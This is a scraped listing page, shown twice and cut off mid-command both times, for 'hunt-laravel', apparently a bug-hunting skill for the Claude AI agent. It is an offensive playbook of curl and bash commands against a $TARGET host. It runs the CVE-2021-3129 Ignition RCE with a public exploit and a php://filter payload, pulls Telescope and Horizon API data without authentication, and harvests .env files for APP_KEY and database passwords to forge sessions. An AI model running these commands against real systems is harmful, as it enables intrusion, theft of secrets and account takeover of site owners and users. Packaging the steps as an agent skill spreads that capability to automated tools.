hunt-laravel

Name: hunt-laravel
Author: elementalsouls

3.0kstars461forks

How to install hunt-laravel?

elementalsouls/claude-bughunter/hunt-laravel

$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-laravel

Installs into the current project.

Summary

Hunt Laravel specific vulnerabilities — Debug mode leakage (APP_DEBUG=true exposes full stack trace + env vars), Laravel Telescope/Horizon dashboard unauthorized access, Ignition RCE (CVE-2021-3129), Signed URL manipulation, Queue Worker abuse, mass assignment via Eloquent, deser

Files · 1

View on GitHub

SKILL.md

1	# HUNT-LARAVEL — Laravel Specific Vulnerabilities
2
3	## Crown Jewel Targets
4
5	Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).
6
7	Highest-value findings:
8	- Ignition RCE (CVE-2021-3129) — `APP_DEBUG=true` + Laravel < 8.4.2 → `/_ignition/execute-solution` RCE without auth
9	- Telescope dashboard — `/telescope` exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
10	- Horizon dashboard — `/horizon` exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
11	- Signed URL manipulation — if `URL::signedRoute` validates wrong params → bypass signed URL → unauthorized actions
12	- .env exposure — `APP_KEY` leaked → decrypt all encrypted cookies → forge session → ATO
13
14	---
15
16	## Phase 1 — Fingerprint Laravel
17
18	```bash
19	# Laravel-specific indicators
20	curl -sI https://$TARGET/ \| grep -i "laravel_session\\|x-powered-by.*php"
21	curl -s https://$TARGET/ \| grep -i "laravel\\|Illuminate\\|csrf-token"
22
23	# Common Laravel paths
24	for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
25	STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
26	[ "$STATUS" != "404" ] && echo "$path: $STATUS"
27	done
28
29	# Check error page (trigger 404)
30	curl -s "https://$TARGET/definitely-does-not-exist-xyz" \| grep -i "laravel\\|Whoops\\|Ignition\\|symfony"
31	```
32
33	---
34
35	## Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)
36
37	```bash
38	# Step 1: Check if debug mode is enabled (Whoops error page)
39	curl -s "https://$TARGET/nonexistent" \| grep -i "Whoops\\|APP_DEBUG\\|Ignition"
40
41	# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129
42
43	# Step 2: Check Ignition endpoint
44	curl -s "https://$TARGET/_ignition/health-check" \| head -5
45
46	# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
47	# (Requires debug mode + writable storage/logs)
48	# Tool: ambionics/laravel-ignition-rce
49	git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
50	php /tmp/laravel-rce/exploit.php https://$TARGET "id"
51
52	# Manual test — send solution request
53	curl -s -X POST "https://$TARGET/_ignition/execute-solution" \
54	-H "Content-Type: application/json" \
55	-d '{
56	"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
57	"parameters": {
58	"variableName": "x",
59	"viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
60	}
61	}'
62	```
63
64	---
65
66	## Phase 3 — Laravel Telescope & Horizon
67
68	```bash
69	# Telescope — request/response logs, DB queries, jobs, cache, events
70	curl -s "https://$TARGET/telescope" \| grep -i "telescope\\|laravel"
71	curl -s "https://$TARGET/telescope/api/requests" \| python3 -m json.tool 2>/dev/null \| head -50
72	curl -s "https://$TARGET/telescope/api/commands" \| python3 -m json.tool 2>/dev/null \| head -30
73	curl -s "https://$TARGET/telescope/api/redis" \| python3 -m json.tool 2>/dev/null \| head -30
74	curl -s "https://$TARGET/telescope/api/environment" \| python3 -m json.tool 2>/dev/null \| head -50
75
76	# Horizon — queue worker dashboard
77	curl -s "https://$TARGET/horizon" \| grep -i "horizon\\|laravel"
78	curl -s "https://$TARGET/horizon/api/stats" \| python3 -m json.tool 2>/dev/null
79	curl -s "https://$TARGET/horizon/api/jobs/failed" \| python3 -m json.tool 2>/dev/null \| head -50
80	# Failed job payloads often contain full request data including auth tokens
81
82	# Common paths
83	for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
84	STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
85	[ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
86	done
87	```
88
89	---
90
91	## Phase 4 — .env File & APP_KEY Exposure
92
93	```bash
94	# Direct .env access
95	curl -s "https://$TARGET/.env" \| grep -i "APP_KEY\\|DB_PASSWORD\\|SECRET\\|KEY"
96	curl -s "https://$TARGET/.env.production"
97	curl -s "https://$TARGET/.env.backup"
98	curl -s "https://$TARGET/.env.local"
99
100	# If APP_KEY found:
101	APP_KEY="base64:XXXXXXX"
102	echo "APP_KEY=$APP_KEY"
103	# → Can decrypt all Laravel encrypted cookies
104	# → Can forge session cookies → ATO for any user
105
106	# Also check
107	curl -s "https://$TARGET/storage/logs/laravel.log" \| tail -100 \| grep -i "exception\\|error\\|key\\|password"
108	```
109
110	---
111
112	## Phase 5 — Signed URL Manipulation
113
114	```bash
115	# Laravel signed URLs contain signature param: ?signature=HASH
116	# Find signed URL endpoints
117	cat recon/$TARGET/urls.txt \| grep "signature="
118
119	# Test: modify a non-signature parameter — should fail validation
120	SIGNED_URL="https://$TARGET/unsubscri

People who liked this also viewed

6 picks

Type

hunt-laravel

3.0kstars461forks

View on GitHub

How to install hunt-laravel?

elementalsouls/claude-bughunter/hunt-laravel

$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-laravel

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# HUNT-LARAVEL — Laravel Specific Vulnerabilities
2
3	## Crown Jewel Targets
4
5	Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).
6
7	Highest-value findings:
8	- Ignition RCE (CVE-2021-3129) — `APP_DEBUG=true` + Laravel < 8.4.2 → `/_ignition/execute-solution` RCE without auth
9	- Telescope dashboard — `/telescope` exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
10	- Horizon dashboard — `/horizon` exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
11	- Signed URL manipulation — if `URL::signedRoute` validates wrong params → bypass signed URL → unauthorized actions
12	- .env exposure — `APP_KEY` leaked → decrypt all encrypted cookies → forge session → ATO
13
14	---
15
16	## Phase 1 — Fingerprint Laravel
17
18	```bash
19	# Laravel-specific indicators
20	curl -sI https://$TARGET/ \| grep -i "laravel_session\\|x-powered-by.*php"
21	curl -s https://$TARGET/ \| grep -i "laravel\\|Illuminate\\|csrf-token"
22
23	# Common Laravel paths
24	for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
25	STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
26	[ "$STATUS" != "404" ] && echo "$path: $STATUS"
27	done
28
29	# Check error page (trigger 404)
30	curl -s "https://$TARGET/definitely-does-not-exist-xyz" \| grep -i "laravel\\|Whoops\\|Ignition\\|symfony"
31	```
32
33	---
34
35	## Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)
36
37	```bash
38	# Step 1: Check if debug mode is enabled (Whoops error page)
39	curl -s "https://$TARGET/nonexistent" \| grep -i "Whoops\\|APP_DEBUG\\|Ignition"
40
41	# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129
42
43	# Step 2: Check Ignition endpoint
44	curl -s "https://$TARGET/_ignition/health-check" \| head -5
45
46	# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
47	# (Requires debug mode + writable storage/logs)
48	# Tool: ambionics/laravel-ignition-rce
49	git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
50	php /tmp/laravel-rce/exploit.php https://$TARGET "id"
51
52	# Manual test — send solution request
53	curl -s -X POST "https://$TARGET/_ignition/execute-solution" \
54	-H "Content-Type: application/json" \
55	-d '{
56	"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
57	"parameters": {
58	"variableName": "x",
59	"viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
60	}
61	}'
62	```
63
64	---
65
66	## Phase 3 — Laravel Telescope & Horizon
67
68	```bash
69	# Telescope — request/response logs, DB queries, jobs, cache, events
70	curl -s "https://$TARGET/telescope" \| grep -i "telescope\\|laravel"
71	curl -s "https://$TARGET/telescope/api/requests" \| python3 -m json.tool 2>/dev/null \| head -50
72	curl -s "https://$TARGET/telescope/api/commands" \| python3 -m json.tool 2>/dev/null \| head -30
73	curl -s "https://$TARGET/telescope/api/redis" \| python3 -m json.tool 2>/dev/null \| head -30
74	curl -s "https://$TARGET/telescope/api/environment" \| python3 -m json.tool 2>/dev/null \| head -50
75
76	# Horizon — queue worker dashboard
77	curl -s "https://$TARGET/horizon" \| grep -i "horizon\\|laravel"
78	curl -s "https://$TARGET/horizon/api/stats" \| python3 -m json.tool 2>/dev/null
79	curl -s "https://$TARGET/horizon/api/jobs/failed" \| python3 -m json.tool 2>/dev/null \| head -50
80	# Failed job payloads often contain full request data including auth tokens
81
82	# Common paths
83	for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
84	STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
85	[ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
86	done
87	```
88
89	---
90
91	## Phase 4 — .env File & APP_KEY Exposure
92
93	```bash
94	# Direct .env access
95	curl -s "https://$TARGET/.env" \| grep -i "APP_KEY\\|DB_PASSWORD\\|SECRET\\|KEY"
96	curl -s "https://$TARGET/.env.production"
97	curl -s "https://$TARGET/.env.backup"
98	curl -s "https://$TARGET/.env.local"
99
100	# If APP_KEY found:
101	APP_KEY="base64:XXXXXXX"
102	echo "APP_KEY=$APP_KEY"
103	# → Can decrypt all Laravel encrypted cookies
104	# → Can forge session cookies → ATO for any user
105
106	# Also check
107	curl -s "https://$TARGET/storage/logs/laravel.log" \| tail -100 \| grep -i "exception\\|error\\|key\\|password"
108	```
109
110	---
111
112	## Phase 5 — Signed URL Manipulation
113
114	```bash
115	# Laravel signed URLs contain signature param: ?signature=HASH
116	# Find signed URL endpoints
117	cat recon/$TARGET/urls.txt \| grep "signature="
118
119	# Test: modify a non-signature parameter — should fail validation
120	SIGNED_URL="https://$TARGET/unsubscri

People who liked this also viewed

6 picks

Type